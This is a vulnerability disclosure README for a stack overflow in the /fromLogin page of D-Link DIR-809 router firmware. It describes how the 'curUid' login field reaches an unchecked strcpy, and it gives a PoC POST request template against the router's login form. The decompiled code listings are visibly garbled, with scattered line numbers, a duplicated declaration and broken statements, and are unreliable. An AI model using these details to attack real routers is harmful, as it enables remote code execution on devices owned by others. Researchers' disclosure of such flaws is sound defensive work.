last year

∃ README.md

README.md

D-Link DIR809 Vulnerability

The Vulnerability is in page /fromLogin which influences the latest version of this router OS.

The firmware version is DIR-809Ax_FW1.12WWB03_20190410

Progress

Confirmed by vendor.

Vulnerability description

In the function sub_8003183C (page /fromLogin), we find a stack overflow vulnerability, which allows attackers to execute arbitrary code on system via a crafted post request.

Here is the description,

- 1. The get_var function extracts user input from the a http request. For example, the code below will extract the value of the key "curUid" in the http post request which is completely under the attacker's control.
- 2. The string $\,$ v4 $\,$ obtained from user is then passed to $\,$ sub_800FE9CC $\,$ as the third argument.
- 3. In the function <code>sub_800FE9CC</code> , argument <code>a3</code> is copied onto the stack using <code>strcpy</code> without any check. So we can make the stack buffer overflow in <code>v8</code> . (See the second figure below.)

```
int v9; // [sp+10h] [-74h] BYREF
     char v10[100]; // [sp+14h] [-70h] BYREF
_BYTE *v11; // [sp+78h] [-Ch]
int v12; // [sp+7Ch] [-8h]
      v11 = (_BYTE *)get_var(a1, a2, "user_name", &unk_801DCD24);
      if ( *v11 )
        v12 = get_var(a1, a2, "loginpwd", &unk_801DCD24);

w = get_var(a1, a2, "curUid", &unk_801DCD24);

if (!sub_80007E40(180, v10, -1, -1))
15
16
17
18
            v5 = "ERROR: Get supervisor name MIB error!";
                                                                                 Input String
20 LABEL_6:
21
            sub_8013E998(v10, v5);
22
23
24
           return sub_800214FC("/login_fail.asp");
         sub 80139BA0(v10, 0, 100);
25
26
         if (!sub_80007E40(181, v10, -1, -1))
27
            v5 = "ERROR: Get supervisor password MIB error!";
28
           goto LABEL_6;
29
        if ( sub_800FE9CC((int)v11, v12, 4) < 0 )
return sub_800214FC("/login_fail.asp");
30
```

```
1 int __fastcall sub_800FE9CC(int a1, int a2, int a3)
           int v4; // $v0
        int result; // $v0
int v6; // $v1
int v7; // $v0
char v8[64]; // [sp+10h] [-48Ch] BYREF
char v9[64]; // [sp+50h] [-44Ch] BYREF
char v10[64]; // [sp+90h] [-40Ch] BYREF
char v11[128]; // [sp+90h] [-30Ch] BYREF
char v12[64]; // [sp+150h] [-34Ch] BYREF
char v12[64]; // [sp+190h] [-36Ch] BYREF
char v14[64]; // [sp+104h] [-288h] BYREF
char v15[4]; // [sp+214h] [-288h] BYREF
BYTE *v16; // [sp+214h] [-284h]
int v17; // [sp+21Ch] [-280h] BYREF
char v19[64]; // [sp+32Ch] [-40h] BYREF
char v20[64]; // [sp+37Ch] [-60h] BYREF
char v21[20]; // [sp+47Ch] [-20h] BYREF
char *v22; // [sp+490h] [-Ch]
BYTE *v23; // [sp+494h] [-8h]
           int result; // $v0
12
13
17
18
19
20
           _BYTE *v23; // [sp+494h] [-8h]
                                                                                                                                 Not limit the copy
23
           sub_80139BA0(v8, 0, 64);
sub_80139BA0(v9, 0, 64);
sub_80139BA0(v10, 0, 64)
                                                                                                                              length and get stack
24
                                                                                                                                            overflow
25
26
        strcpy(v8, 00);
v4 = sub_800FE770(v12, v8);
29
           if ( v4 < 0 )
30
31
                 v7 = 2;
           }
      000FE606 sub_800FE9CC:27 (800FEA06)
```

PoC

```
POST /formLogin.htm HTTP/1.1
Host: 192.168.0.1
Content-Length: 154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;y=0.93;q=0.9
Referer: http://192.168.0.1/index.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=HQLFFU3LE1
Connection: close
```



Acknowledgment

Credit to @peanuts62, @Yu3H0, @Lnkvct from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi'anxin Group.